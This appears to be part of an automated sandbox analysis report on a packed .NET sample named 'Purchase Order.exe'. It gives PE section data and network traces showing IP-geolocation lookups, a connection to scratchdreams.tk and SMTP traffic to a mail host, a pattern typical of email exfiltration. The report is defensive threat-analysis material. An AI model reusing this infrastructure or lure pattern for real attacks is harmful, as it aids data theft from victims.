add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x829cf	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x5b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x808a4	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x80a48	0x80c00	9c2c852aae9e1187bdc1506907ea47b3	False	0.9498919144417476	data	7.9495035633914695	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x84000	0x5b4	0x600	1fbc81ad3e46fba8e249c228192eb2d3	False	0.4225260416666667	data	4.101412678347177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x86000	0xc	0x200	954b89a0f3cf94bca47e7e7c8f211a3b	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x84090	0x324	data			0.43283582089552236
RT_MANIFEST	0x843c4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2024 16:34:10.244363070 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:10.476181030 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:10.476298094 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:10.476751089 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:10.708553076 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:10.709006071 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:10.713816881 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:10.952943087 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:11.004995108 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:11.124512911 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.124547958 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.124622107 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.138036966 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.138051033 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.403080940 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.403198957 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.408139944 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.408154011 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.408451080 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.457400084 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.504235029 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.698847055 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.698961020 CEST	443	49736	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.699012041 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.704919100 CEST	49736	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.708281040 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:11.960510015 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:11.963870049 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.963913918 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:11.964006901 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.964339972 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:11.964354992 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:12.004956961 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:12.225429058 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:12.227214098 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:12.227241993 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:12.530240059 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:12.530353069 CEST	443	49737	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:12.530410051 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:12.530970097 CEST	49737	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:12.534581900 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:12.535584927 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:12.989330053 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:13.221160889 CEST	80	49735	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:13.221221924 CEST	49735	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:13.536277056 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:13.766470909 CEST	80	49738	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:13.766731024 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:13.766841888 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:13.997174025 CEST	80	49738	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:14.001847029 CEST	80	49738	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:14.003317118 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.003340960 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.003411055 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.003670931 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.003684998 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.051851988 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:14.261440039 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.263144016 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.263164997 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.560910940 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.561012983 CEST	443	49739	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:14.561048985 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.561647892 CEST	49739	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:14.565387011 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:14.575236082 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:14.812674999 CEST	80	49740	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:14.812804937 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:14.812968016 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.047707081 CEST	80	49740	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:15.048676014 CEST	80	49740	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:15.050384998 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.050411940 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.050477982 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.050772905 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.050786018 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.098759890 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.239372015 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.314496040 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.316273928 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.316301107 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.472263098 CEST	80	49738	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:15.472362995 CEST	49738	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.618216991 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.618320942 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:15.618396044 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.626867056 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:15.630439043 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.631664038 CEST	49742	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.865098953 CEST	80	49740	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:15.865171909 CEST	49740	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.866369009 CEST	80	49742	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:15.866461992 CEST	49742	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:15.866674900 CEST	49742	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:16.101296902 CEST	80	49742	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:16.101897001 CEST	80	49742	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:16.103255033 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.103296995 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.103374004 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.103738070 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.103753090 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.145656109 CEST	49742	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:16.362977028 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.365505934 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.365537882 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.666508913 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.666624069 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:16.666688919 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.667550087 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:16.678457022 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:16.917109966 CEST	80	49744	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:16.917179108 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:16.917351007 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:17.152025938 CEST	80	49744	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:17.152823925 CEST	80	49744	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:17.154602051 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.154620886 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.154692888 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.155025959 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.155036926 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.208092928 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:17.418869019 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.421188116 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.421197891 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.729572058 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.729681969 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:17.729737997 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.730254889 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:17.734054089 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:17.734752893 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:17.968838930 CEST	80	49744	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:17.968955040 CEST	49744	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:17.969995022 CEST	80	49746	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:17.970072985 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:18.193528891 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:18.428843021 CEST	80	49746	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:18.429286003 CEST	80	49746	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:18.430496931 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:18.430529118 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:18.430602074 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:18.430854082 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:18.430877924 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:18.473723888 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:18.695019960 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:18.739343882 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:19.317559004 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:19.317580938 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:19.456711054 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:19.456829071 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:19.456891060 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:19.546295881 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:19.550509930 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:19.551656008 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:19.779017925 CEST	80	49748	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:19.779222965 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:19.784717083 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:19.785707951 CEST	80	49746	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:19.785767078 CEST	49746	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:20.011974096 CEST	80	49748	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:20.012692928 CEST	80	49748	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:20.014051914 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.014082909 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.014183998 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.014434099 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.014446020 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.067493916 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:20.272327900 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.274235010 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.274267912 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.966732025 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.966831923 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 4, 2024 16:34:20.966991901 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.967681885 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 4, 2024 16:34:20.982283115 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:21.209534883 CEST	80	49748	132.226.247.73	192.168.2.4
Apr 4, 2024 16:34:21.209609032 CEST	49748	80	192.168.2.4	132.226.247.73
Apr 4, 2024 16:34:21.376530886 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.376559019 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:21.376626968 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.377207994 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.377221107 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:21.652173042 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:21.652255058 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.654599905 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.654612064 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:21.654851913 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:21.656260967 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:21.700243950 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:53.238745928 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:53.238818884 CEST	443	49750	104.21.27.85	192.168.2.4
Apr 4, 2024 16:34:53.238886118 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:53.244195938 CEST	49750	443	192.168.2.4	104.21.27.85
Apr 4, 2024 16:34:58.621007919 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:34:58.817766905 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:58.817861080 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:34:59.330108881 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:59.330379963 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:34:59.525322914 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:59.525512934 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:59.528502941 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:34:59.725707054 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:59.726001024 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:34:59.928127050 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:34:59.928333998 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:35:00.125015020 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:35:00.125196934 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:35:00.338974953 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:35:00.343394995 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:35:00.539192915 CEST	587	49756	208.91.199.224	192.168.2.4
Apr 4, 2024 16:35:00.539319992 CEST	49756	587	192.168.2.4	208.91.199.224
Apr 4, 2024 16:35:21.101502895 CEST	80	49742	132.226.247.73	192.168.2.4
Apr 4, 2024 16:35:21.101569891 CEST	49742	80	192.168.2.4	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2024 16:34:10.109018087 CEST	60713	53	192.168.2.4	1.1.1.1
Apr 4, 2024 16:34:10.234538078 CEST	53	60713	1.1.1.1	192.168.2.4
Apr 4, 2024 16:34:10.996990919 CEST	49831	53	192.168.2.4	1.1.1.1
Apr 4, 2024 16:34:11.123584986 CEST	53	49831	1.1.1.1	192.168.2.4
Apr 4, 2024 16:34:20.983082056 CEST	53889	53	192.168.2.4	1.1.1.1
Apr 4, 2024 16:34:21.375829935 CEST	53	53889	1.1.1.1	192.168.2.4
Apr 4, 2024 16:34:58.492333889 CEST	53569	53	192.168.2.4	1.1.1.1
Apr 4, 2024 16:34:58.620039940 CEST	53	53569	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 4, 2024 16:34:10.109018087 CEST	192.168.2.4	1.1.1.1	0x49ca	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:10.996990919 CEST	192.168.2.4	1.1.1.1	0x63ec	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:20.983082056 CEST	192.168.2.4	1.1.1.1	0xf80	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:58.492333889 CEST	192.168.2.4	1.1.1.1	0x339b	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:10.234538078 CEST	1.1.1.1	192.168.2.4	0x49ca	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:11.123584986 CEST	1.1.1.1	192.168.2.4	0x63ec	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:11.123584986 CEST	1.1.1.1	192.168.2.4	0x63ec	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:21.375829935 CEST	1.1.1.1	192.168.2.4	0xf80	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:21.375829935 CEST	1.1.1.1	192.168.2.4	0xf80	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:58.620039940 CEST	1.1.1.1	192.168.2.4	0x339b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:58.620039940 CEST	1.1.1.1	192.168.2.4	0x339b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:58.620039940 CEST	1.1.1.1	192.168.2.4	0x339b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 4, 2024 16:34:58.620039940 CEST	1.1.1.1	192.168.2.4	0x339b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	132.226.247.73	80	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Apr 4, 2024 16:34:10.476751089 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 4, 2024 16:34:10.709006071 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:10 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 79a952a518eef58671e6246d6c44202e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>
Apr 4, 2024 16:34:10.713816881 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 4, 2024 16:34:10.952943087 CEST	324	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:10 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 25932b39e79de9bc744b0041007e439d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>
Apr 4, 2024 16:34:11.708281040 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
